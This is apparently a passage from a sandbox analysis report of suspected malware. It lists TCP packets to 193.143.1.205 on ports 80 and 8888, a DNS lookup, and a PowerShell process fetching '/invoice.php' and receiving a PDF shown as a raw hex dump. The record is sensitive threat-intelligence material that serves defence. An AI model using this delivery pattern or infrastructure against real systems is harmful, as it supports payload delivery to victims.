Jan 11, 2025 06:14:13.745953083 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745958090 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.745980978 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.745982885 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746000051 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746017933 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746020079 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.746031046 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746042967 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746056080 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.746056080 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746077061 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746083975 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.746098995 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746110916 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.746113062 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746128082 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746140957 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746151924 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746159077 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.746166945 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746180058 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746186972 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.746193886 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746206999 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746206045 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.746218920 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746232986 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746233940 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.746246099 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.746258974 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.746294975 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.774792910 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.774818897 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.774832010 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.774843931 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.774854898 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.774867058 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.774868965 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.774880886 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.774889946 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.774935961 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.774995089 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.775028944 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.775042057 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.775047064 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.775065899 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.775079966 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.775084019 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.775095940 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.775120974 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.775151014 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.775161028 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.775190115 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.803929090 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.803945065 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.803963900 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.803976059 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.803988934 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804001093 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804013968 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804059029 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.804116011 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804127932 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804136038 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.804141045 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804158926 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804169893 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804176092 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.804182053 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804194927 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804198980 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.804204941 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.804224968 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.804249048 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.832592964 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832609892 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832627058 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832638979 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832650900 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832662106 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832721949 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832726955 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.832734108 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832745075 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832756996 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832767963 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832787037 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.832794905 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.832798958 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832811117 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832829952 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832838058 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.832842112 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832854986 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832866907 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.832869053 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832894087 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.832911968 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832922935 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832935095 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832947016 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.832962990 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.832993031 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833014965 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833033085 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833044052 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833054066 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833080053 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833085060 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833096027 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833107948 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833153963 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833184958 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833199024 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833211899 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833220959 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833231926 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833245039 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833246946 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833257914 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833292961 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833337069 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833348989 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833359957 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833370924 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833384991 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833389044 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833399057 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833424091 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833610058 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833621025 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833633900 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833643913 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833655119 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833664894 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833669901 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833683968 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833698034 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833704948 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833718061 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833726883 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833756924 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833776951 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833856106 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833869934 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833884001 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833894968 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833904982 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833914042 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833925009 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833930969 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.833936930 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833947897 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833961010 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.833982944 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834000111 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834012032 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834019899 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834022999 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834034920 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834047079 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834053040 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834078074 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834088087 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834089994 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834100962 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834112883 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834124088 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834132910 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834140062 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834161043 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834176064 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834467888 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834486008 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834498882 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834508896 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834521055 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834522009 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834533930 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834548950 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834564924 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834574938 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834589005 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834599972 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834611893 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834630013 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834666014 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834690094 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834701061 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834712029 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834722996 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.834733963 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.834762096 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.863583088 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863600016 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863619089 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863631010 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863641977 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863655090 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863667011 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863691092 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863745928 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.863780975 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.863801003 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863811970 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863831043 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863843918 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863857031 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863863945 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.863890886 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.863914967 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863928080 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863940001 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.863953114 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.863976955 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.892774105 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.892796993 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.892808914 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.892821074 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.892834902 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.892853022 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.892882109 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:13.892895937 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.892915010 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:13.943402052 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.044028997 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049087048 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049129963 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049165964 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049182892 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049215078 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049232960 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049267054 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049283981 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049319029 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049331903 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049355030 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049396992 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049424887 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049475908 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049510956 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049529076 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049557924 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049562931 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049582958 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049597979 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049633026 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049643993 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049668074 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049706936 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049709082 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049746990 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049757004 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049788952 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049789906 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049823046 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049830914 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049856901 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049891949 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049895048 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049926043 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.049964905 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.049978971 CET	80	49756	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:14.099656105 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.252675056 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:14.431454897 CET	49756	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:15.055011988 CET	49777	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:15.060034037 CET	8888	49777	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:15.060147047 CET	49777	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:15.060331106 CET	49777	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:15.065181971 CET	8888	49777	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:15.874169111 CET	8888	49777	193.143.1.205	192.168.2.9
Jan 11, 2025 06:14:15.927761078 CET	49777	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 06:14:15.981724024 CET	49777	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:14:22.629286051 CET	50564	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:14:22.629286051 CET	192.168.2.9	1.1.1.1	0x75c7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:14:22.636635065 CET	1.1.1.1	192.168.2.9	0x75c7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49756	193.143.1.205	80	7636	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:14:12.401387930 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:14:13.184990883 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:14:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:14:13.185041904 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:14:13.185054064 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
